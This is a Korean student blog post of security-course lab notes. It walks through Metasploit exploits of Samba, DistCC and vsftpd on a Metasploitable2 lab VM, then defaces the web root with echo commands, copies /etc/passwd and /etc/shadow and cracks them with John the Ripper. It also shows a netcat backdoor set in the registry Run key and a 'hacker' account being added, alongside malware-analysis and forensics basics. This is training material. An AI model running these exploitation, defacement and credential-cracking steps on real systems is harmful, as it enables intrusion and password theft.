echo "<h1><font color=red>You will die</font></h1>" > /var/www/index.html
echo "<body bgcolor=black><h1><font color=red>You will die</font></h1></body>" > /var/www/index.html

- ㅎㅎ 그래도 귀엽긴하네
Samba 취약점 Exploit
- Samba에 대해 알아보자
-윈도우 SMB(Server Message Block) 서비스가 있는데 이건 파일 및 폴더 공유 서비스
-리눅스에서도 윈도우랑 파일 및 폴더 공유 서비스 필요 => Samba
-편리하고 유용하지만 취약점 많음
- 1단계. 기본 스캔 (kali 기본 터미널에서)
$ sudo nmap -A -T4 192.168.5.130
// 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
// 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
- 2단계. 구글 검색
samba 3.0.20 exploit --> username map 취약점, Command Execution, CVE-2007-2447
- 3단계. 스크립트를 활용한 상세 검색
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*samba*" // 일치하는 취약점 스크립트가 없음
- 4단계. Metasploit검증
msf6 > search cve-2007-2447
msf6 > use 0
msf6 > set rhost 192.168.5.130
msf6 > show payloads
msf6 > set payload 12 // 선택한 페이로드는 cmd/unix/bind_ruby
msf6 > exploit
echo "<font color=white>Go to hell</font>" >> /var/www/index.html

- 여전히 귀엽지? 좀 무서워 그래도?
DistCC 취약점 Exploit
- DistCC : 분산 컴퓨팅을 이용하여 소스코드 컴파일 속도를 높이는 도구
- 기본 시캔 시 포트 범위를 1000개 단위로 나누어 스캔해 보기 (뒤에 -p 1-1000 이런식으로)
$ sudo nmap -A -T4 192.168.5.130 -p 3000-4000
// CVE-2004-2687
$ sudo find . -name "*distcc*"
// distcc-cve2004-2687.nse
$ sudo nmap --script=distcc-cve2004-2687.nse 192.168.5.130 -p 3632
// ----> uid=1(daemon) gid=1(daemon) groups=1(daemon)
- Exploit 시도
search distcc
search cve-2004-2687
use 0
info // reference에서 CVE코드 일치 확인
show payloads
set payload cmd/unix/bind_ruby // ruby가 가장 잘됨!!!
exploit
echo "https://www.sportsseoul.com width=800 height=600>" > /var/www/sports.html chmod 777 /var/www/sports.html
- 웹브라우저에는 기존 IP주소뒤에 /sports.html 해줘야 함
- 근데 이제 나는 여기서 문제가 발생했다지... 강사님은 이거 할 때 root권한으로 들어가졌는데 나는 daemon 권한으로 들어가져서 파일 생성이 안됐다지....
- 질문해보니 권한을 못 얻은 거라서 그렇지만 뭐 이어쓰기정도는 할 수 있어서 해킹에 실패했다고는 할 수 없다고 하셨다.. 그렇군!

Metasploit 설정을 잘못한 경우
set paylod [잘못된 페이로드]
unset payload // 다른 페이로드로 바꾸고 싶을때, 장착 해제, 페이로드 이름 안써도 됨
set rhost [잘못된 IP입력]
unset rhost // IP주소 설정해제
set rhost [올바른 IP입력] // 다시 올바른 IP주소 입력
show payloads // 조회할 때는 반드시 복수로, 페이로드는 여러개이므로
set payload [페이로드 이름] // 설정할 때에는 반드시 단수로, 하나만 장착할 것이므로
show options // exploit 하기 직전에 전체적으로 설정이 잘 되었는지 점검하는 명령
sessions -i // 현재 연결된 세션의 개수를 확인할 때
*Metasploit로 Exploit 실습하다가 끊기거나 Error 발생하는 경우, Kali나 Meta2 리부팅하면 해결
악성코드 분석
악성코드의 종류
- Virus : 정상파일에 추가로 붙거나 일부 수정되기도 함
ex) hwp.exe라는 파일이 용량이 100kb라고 할 때 virus에 걸리면 용량 증가
- Worm : 독자적인 파일 형태로 동작. 스스로 메일 보내기도 함. 트래픽 다량발생시키기도 함
ex ) svchost.exe, nimda
- Backdoor : Victim쪽에서 포트를 열고 접속 기다림.
Attacker --> Victim --> Backdoor를 통해 접근하면 공격자에게 root 권한 주어짐
- Trojan horse(트로이목마) : Attacker가 포트를 열고 기다림
Victim --> Attacker => 방화벽 우회 위해 사용
Trojan horse
- 악성코드의 75%가 Trojan horse
- 속임수 : "이메일로 입사지원합니다. 이력서 첨부합니다." , "귀하의 블로그~~"
- 첨부파일 : 비밀번호가 있는 압축파일을 풀면 악성코드가 들어있음 ( 악성코드는 통신 기능이 있음)
- 외부 연결 : 악성 코드의 네트워크 기능이 실행되면서 공격자 컴퓨터와 연결 됨
--> 자료 유출 또는 원격 조종
정적분석
- 실행을 하지 않은 상태에서 분석 => 시간단축 가능
- 외형 위주의 분석
- 실행파일의 작성 원시 언어 (C, JAVA, Python, .. )
- 컴파일 도구
- 아이콘(가짜 알집, 가짜 V3, ..)
- 작성자의 컴퓨터 국가언어 (중국, ..)
- 악성 코드가 많이 사용하는 프로세스 이름
- svch0st : o대신 0사용 : 중복될 경우, 실행 안되는 문제
- 리눅스 운영체제에 윈도우 프로세스 명을 사용 : 거꾸로도 적용됨
- update관련 프로세스명으로 위장 : updatex, updater 등
- 대상 탐색
- Ping Scan : 주변 호스트 탐색(On, Off 확인)
- Stealth Scan : Ack를 보내지 않고 열린 포트 확인
- Victim에 대한 상세한 정보 원할 때
- PEView
- PE(Portable Executable) : 실행파일 (exe, com, dll, pif, ..)
- 4D5A : MZ(4D가 M, 5A가 Z), Mark Zbikowski의 약자 (빌게이트 친구), MZ로 시작해야 실행파일
- 파워포인트, 압축 등 일반파일
- Dropper : 실행파일을 내포하고 있는 악성코드, 중간에 MZ가 있으면 실행파일 따로 생산하는 악성코드 확률 높음
- 파일 시그니처 확인이 중요!!
파일 시그니처(File SIgnature)
- 파일의 맨 앞에 확장자 고유의 표시로 시작
- 파일의 정체성을 의미함
- JPG 파일 : ÿØÿà = FF D8 FF E0
- PE (exe등) : MZ = 4D 5A
- 압축파일(zip, pptx, xlsx, docx, apk) : PK = 50 4B



Virus Total과 Hash 함수 사용
- 리눅스에서는 #md5sum 사용
- windows에서는 간단한 hash함수 도구 사용 : notepad++, 7zip, http://hashes.com
- 나온 해쉬값으로 virus total에 해쉬값 입력 --> 악성코드 등록 여부 알려줌
- https://www.virustotal.com/
-리눅스 예제 (Kali)
$ cd /usr/share/windows-binaries
$ md5sum klogger.exe
//나온 해쉬값 복사해서 virus total의 search에 넣고 엔터 --> 69개중 59개가 악성이라 함
$ sha1sum plink.exe
$ sha1sum nc.exe //Netcat이라는 아주 유명한 해킹도구
-윈도우 : 해시함수 계산기 --> 파일 선택해서 계산기에 넣으면 해쉬값 나옴 --> virustotal에 검사
동적분석
- 실행 시켜놓고 동작 분석
- 동작 추적 위해
- Process Explorer 등 프로세스 관련 도구 사용
- Memory 등의 사용 상태 확인
- 레지스트리 변화 등
- 감시 대상
- 실행된 프로세스/서비스
- 파일, 디스크, 폴더에 대한 변화(쓰기, 읽기, 삭제, 수정)
- 로드 된 드라이버
- 인젝트된 DLL
- 레지스트리 변화(쓰기, 읽기, 삭제, 수정)
- 프로세스에서 호출된 API's(With Native API's)
- 오픈된 포트
- SMTP,HTTP,IRC&DNS Traffic
- 악성코드 중에 레지스트리에 등록을 해놓고 부팅할 때마다 시작되도록 만들어 둔 것이 있음
HKLM\Software\Microsoft\Windows\CurrentVersion\Run 에 등록을 해놓으면 부팅할 때마다 실행됨 : nc -l -p 7000 -d //7000번 포트 열고 대기 --> 백도어
윈도우 보안
윈도우 시스템 조사
- Windows Sysinternals : 윈도우 시스템 관리, 모니터링 관련 유틸리티 제공

Evaluate and find out how to install, deploy, and maintain Windows with Sysinternals utilities.
learn.microsoft.com
//명령프롬프트에서
cd \
cd sys<tab>
date /T // 컴퓨터의 현재 시간을 확인 ----> 시간이 조작되었는지 확인
cmd> procexp // Process Explorer이용하면 실시간 프로세스 목록 확인 가능(2초에 한 번씩)
psinfo
psinfo -h -s // 설치된 핫픽스 및 소프트웨어 목록 정보 획득
psinfo -h -s -d // 디스트 볼륨 정보까지 출력
- 해킹당한 윈도우 조사시 유용하게 활용 가능
초기분석 정보
- 프로세스 정보 확인 : 악성 코드나 해킹 툴 등 피해 시스템에 숨겨져서 돌아가는 프로그램 확인 필요
- 확인할 부분 : 실행되고 있는 프로세스 이름, 위치, 실행시간, 참조하고 있는 dll또는 파일들
- 참조되고 있는 dll정보 : 프로그램은 실행 중에 동적 라이브러리(dll)을 참조하게 됨
- 악성코드의 경우 윈도우 자체 dll뿐 아니라 자신이 직접 만든 dll에도 참조할 수 있음
- listdlls:모든 프로세스가 사용하고 있는 dll정보 출력
초기분석 정보 -네트워크
- netstat.exe : 윈도우 자체 내장 명령으로 보통 -an 옵션과 같이 사용
- 의심스러운 포트가 열려 있지 않은 지 확인
- 의심스러운 주소에서 접속되어 있지 않은 지 확인
ipconfig /all //시스템의 IP정보 수집
net user //시스템에 존재하는 계정 정보 출력
set user //시스템에 로그인한 사용자의 도메인, 이름, 프로파일 확인
net localgroup //시스템에 존재하는 그룹 정보 출력
초기분석 정보 - 공유/로그인 정보
- 현재 시스템에 공유된 정보 유무와 로그인 된 사용자 정보를 확인해야 하며 netbios 보안 취약점이 있으므로 이 부분도 확인해야 함
net share //시스템 공유 정보 출력
net session //공유 자원에 접속한 컴퓨터 정보 출력
nbtstat -c //Netbios에 연결된 세션 정보 출력
//DOS key 히스토리 확인(단, 시스템이 최근 부팅 이후만 저장)
C:\>doskey /history
config /all
net user hacker hacker1234 /add
route print
doskey /history
C:\
- 클립보드 확인
의심가는 프로세스 탐지
- 작업관리자에서 간단하게 확인 : 프로세스 목록에서 설명 부분이 공백인가
- 의심가는 프로세스에서 마우스 우측 버튼 클릭하고 '파일 위치 열기' --> 정상적인 위치에 있는 지 확인
MAC Time
- 운영체제의 파일과 폴더는 각각 고유한 시각 정보를 가지고 있음
- 파일들의 각 시각 정보는 시간 흐름(타임라인)을 구성하고 이를 통해 시스템의 활동 히스토리 구성 가능
- 구성
- Modify time : 파일이 수정된 시간 (포토샵, 그림판 등등)
- Access time : 파일에 접근한 시간 (실행했거나 사용한 시간)
- Create time : 파일이 생성된 시간(언제 다운했는 지 확인 가능)
- 시스템의 활동이나 사용자의 행위에 따라 MAC Time 변경 가능
MAC Time 분석
- MAC Time에서 atime(access time)의 특징 : atime은 파일이 복사되거나 실행되었거나 오픈되었을 경우 반영
- NTFS 파일 시스템에서 파일의 마지막 접근 시각은 실시간으로 반영되지 않음
- 운영체제에서 atime 변경 내역을 반영하지 않게 설정 가능 : 비스티나 windows7은 기본값이 마지막 파일의 접근 시각이 갱신되지 않게 되어있음(레지스트리 수정을 통해 atime 적용 가능)
- Unix/Linux에서의 ctime은 속성정보가 변경된 시각
* Forensic center
-압수수색을 통해 획득한 증거
-지워진 사진 등 파일 복원/복구, MAC Time 찾아보기도 함
*스마트폰에 있는 시간 : 찍은 이후 수정하면 수정시간이 표시 됨
-사진을 수정하면 원본사진은 숨기고 수정된 사진을 다른 파일로 저장하고 수정된 사진만 보여줌
John the Ripper
실습
- 패스워드 크래킹 도구 --> passwd와 shadow를 가져오면 분석하는 도구
- Jack the Ripper에서 따 옴
- 준비
Metasploitable2에서 계정 생성
$ sudo pwd
$ sudo adduser blackpink
icecream
icecream
$ sudo adduser ive
lovedive
lovedive
$ sudo adduser lesserafim
fearless
fearless
$ sudo adduser bts
dynamite
dynamite
Kali에서 Metasploit 시작할 때
$ sudo msfconsole
search vsftpd
use 1
set rhost 192.168.5.130
exploit
cat /etc/passwd
//root ~~~~ bash 까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection
//새탭을 열고
$ sudo vi passwd
(PW : kali)
Edit > paste clipboard
:wq
// 다시 Metasploit화면으로 와서
cat /etc/shadow
//root ~~~~ :::까지 블럭설정하고 오른쪽 마우스 눌러서 copy selection
//아까 그 탭으로 이동
$ sudo vi shadow
Edit > paste clipboard
:wq
$ sudo unshadow passwd shadow > pass.1
$ sudo john pass.1

- ( )안이 계정, PW가 다 나온 것
그리고 PBL로

이런 것을 했다.. 이건 쉬웠다
그래서 어려운 걸 시도해 볼 사람은 시도해보라고 내 주신 문제가 있는데
그건 개어려웠다..
jpg 파일을 주셨는데 사실 그건 속임수였고 사실은 그 파일이 zip파일이었다
그 zip 파일 안에는 다시 두 개의 파일이 있었는데 하나는 설치파일이었다
손상된 설치파일을 복구했더니 비밀번호를 치란다..
그 비밀번호는 두 개의 파일 중 나머지 하나인 jpg 파일에 힌트가 있다고 했다
근데 나는 그거 진짜 개열심히 해시 분석해서 유튜브 링크 있길래 들어갔더니 영상이 없어졌대서 허망했는데
알고 보니까 그 링크 자체가 비밀번호였다ㅎㅎ
'SK 쉴더스 루키즈' 카테고리의 다른 글
클라우드기반 시스템 운영/구축 실무 (0) | 2024.08.10 |
---|---|
클라우드 보안(2) (0) | 2024.08.10 |
클라우드 보안(1) (0) | 2024.08.10 |
애플리케이션 보안 (0) | 2024.08.10 |
네트워크 보안 (0) | 2024.08.09 |